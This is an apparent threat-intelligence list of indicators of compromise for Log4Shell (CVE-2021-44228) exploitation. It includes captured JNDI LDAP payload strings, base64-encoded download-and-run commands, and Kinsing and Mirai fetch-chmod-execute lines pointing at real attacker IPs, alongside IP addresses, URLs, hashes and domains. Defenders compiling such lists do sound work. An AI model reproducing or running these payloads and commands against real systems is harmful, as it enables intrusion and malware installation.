INDICATORS OF COMPROMISE (IOCS)

The following indicators of compromise are associated with observed exploitation activity targeting CVE-2021-44228.

USER-AGENT HTTP HEADERS:

```
${jndi:ldap://015ed9119662[.]bingsearchlib[.]com:39356/a}

${jndi:ldap://32fce0c1f193[.]bingsearchlib[.]com:39356/a}

${jndi:ldap://3be6466b6a20[.]bingsearchlib[.]com:39356/a}

${jndi:ldap://6c8d7dd40593[.]bingsearchlib[.]com:39356/a}

${jndi:ldap://7faf976567f5[.]bingsearchlib[.]com:39356/a}

${jndi:ldap://e86eafcf9294[.]bingsearchlib[.]com:39356/a}

${jndi:ldap://80.71.158[.]12:5557/Basic/Command/Base64/KGN1cmwgLXMgODAuNzEuMTU4LjEyL2xoLnNofHx3Z2V0IC1xIC1PLSA4MC43MS4xNTguMTIvbGguc2gpfGJhc2g=}

${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK}
```

IPs:

109.237.96[.]124

185.100.87[.]202

213.164.204[.]146

185.220.101[.]146

171.25.193[.]20

178.17.171[.]102

45.155.205[.]233

171.25.193[.]25

171.25.193[.]77

171.25.193[.]78

185.220.100[.]242

185.220.101[.]39

18.27.197[.]252

89.234.182[.]139

104.244.79[.]6

164.52.212[.]196

193.196.53[.]232

KINSING MINING ACTIVITY:

Commands:

```
curl -o /tmp/kinsing http://80.71.158[.]12/kinsing
curl -o /tmp/libsystem.so http://80.71.158[.]12/libsystem.so
curl -o /etc/kinsing http://80.71.158[.]12/kinsing
chmod 777 /tmp/kinsing
chattr -R -i /var/spool/cron
chmod +x /etc/kinsing
```

URLs:

hxxp[:]//45.137.155[.]55/ex[.]sh

hxxp[:]//45.137.155[.]55/kinsing

hxxp[:]//80.71.158[.]12/libsystem.so

hxxp[:]//80.71.158[.]12/kinsing

hxxp[:]//80.71.158[.]12/Exploit69ogQNSQYz.class

Hashes (SHA256):

8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef

6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b

c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

MIRAI INFECTION ACTIVITY:

Mirai retrieval script (SHA256):

3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26 (lh[.]sh)

Binary retrieval/execution commands:

```
wget hxxp[:]//62.210.130[.]250/web/admin/x86;chmod +x x86;./x86 x86;
wget hxxp[:]//62.210.130[.]250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
wget hxxp[:]//62.210.130[.]250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;
```

Mirai binary hashes (SHA256):

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00

8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81

2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984

Mirai attacker IPs:

62.210.130[.]250

Additional Malware Payload Hashes (SHA256):

0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049

19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d

2a4e636c4077b493868ea696db3be864126d1066cdc95131f522a4c9f5fb3fec

2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984

39db1c54c3cc6ae73a09dd0a9e727873c84217e8f3f00e357785fba710f98129

5c46098887e488d91f42c6d9b93b17b2736c9f4cb5a4a1e476c87c0d310a3f28

6370939d4ff51b934b7a2674ee7307ed06111ab3b896a8847d16107558f58e5b

63d43e5b292b806e857470e53412310ad7103432ba3390ecd4f74e432530a8a9

6a8965a0f897539cc06fefe65d1a4c5fa450d002d1a9d5d69d2b48f697ee5c05

715f1f821d028e165bfa750d73505f1a6136184999411300cc88c18ebfa6e8f7

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00

8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81

a3f72a73e146834b43dab8833e0a9cfee6d08843a4c23fdf425295e53517afce

b3a6fe5bc3883fd26c682bb6271a700b8a6fe006ad8df6c09cc87530fcd3a778

b55ddbaee7abf1c73570d6543dd108df0580b08f730de299579570c23b3078c0

c154d739cab62e958944bb4ac5ebad6e965a0442a3f1c1d99d56137e3efa8e40

c38f0f809a1d8c50aafc2f13185df1441345f83f6eb4ef9c48270b9bd90c6799

e20806791aeae93ec120e728f892a8850f624ce2052205ddb3f104bbbfae7f80

fe98548300025a46de1e06b94252af601a215b985dad31353596af3c1813efb0

OTHER MINING ACTIVITY

Commands:

```
cmd /C (curl http://193.196.53.232/Jamf || wget -q -O- http://193.196.53.232/Jamf) | sh
cmd /C (curl http://164.52.212.196:88/Jamf || wget -q -O- http://164.52.212.196:88/Jamf) | sh
```

URLs:

hxxp://164.52.212[.]196:88/log

hxxp://164.52.212[.]196:88/Jamf.ps1

hxxp://164.52.212[.]196:88/log

hxxp://164.52.212[.]196:88/LogBack.exe

hxxp://164.52.212[.]196:88/logc

hxxp://164.52.212[.]196:88/s.ps1

hxxp://164.52.212[.]196:88/st.vbs

hxxp://164.52.212[.]196:88/je

hxxp://164.52.212[.]196:88/eth.jpg

hxxp://164.52.212[.]196:88/

hxxp://164.52.212[.]196/je

hxxp://164.52.212[.]196:88/11.bat

hxxp://164.52.212[.]196/logback.exe

hxxp://164.52.212[.]196:88/1.jpg

hxxp://164.52.212[.]196/st.vbs

hxxp://164.52.212[.]196/LogBack.exe

hxxp://164.52.212[.]196/

hxxps://164.52.212[.]196/

hxxp://164.52.212[.]196/1.jpg

hxxp://164.52.212[.]196/eth.jpg

udp://164.52.212[.]196:88/

tcp://164.52.212[.]196:88/

hxxp://164.52.212[.]196/config.jpg

hxxp://164.52.212[.]196:88/logback.exe

hxxp://164.52.212[.]196:88/sys.ps1

hxxp://164.52.212[.]196/sys.ps1

hxxp://164.52.212[.]196/st.sh

hxxp://164.52.212[.]196:88/config.json

hxxp://164.52.212[.]196:88/config.jpg

hxxp://164.52.212[.]196:88/st.sh

Hashes (SHA256):

8b1d95123a8da5fc351422aa057b9ec7a954c608570757d644e56c72133ec1ed

370048d94830f0ebd41b052ef455ae4b5b7ca62cab27d1d8d94fdade67e454d0

1a5550f8c0fd049c03d55ebf6829b65d87e27c785f5c6e968dbd3af2ea5b0b50

Observed Domains:

x41[.]me

m3[.]wtf

cuminside[.]club

abrahackbugs[.]xyz

pwn[.]af

rce[.]ee

The domains listed below are not overtly malicious but may be useful in identifying possible exploitation or vulnerability testing. They are commonly used to test for functionality of an exploit, whether in legitimate vulnerability testing or in a malicious context, and are not unique to a specific threat.

interactsh[.]com

vikingo[.]org

burpcollaborator[.]net

canarytokens[.]com

dnslog[.]cn

requestbin[.]net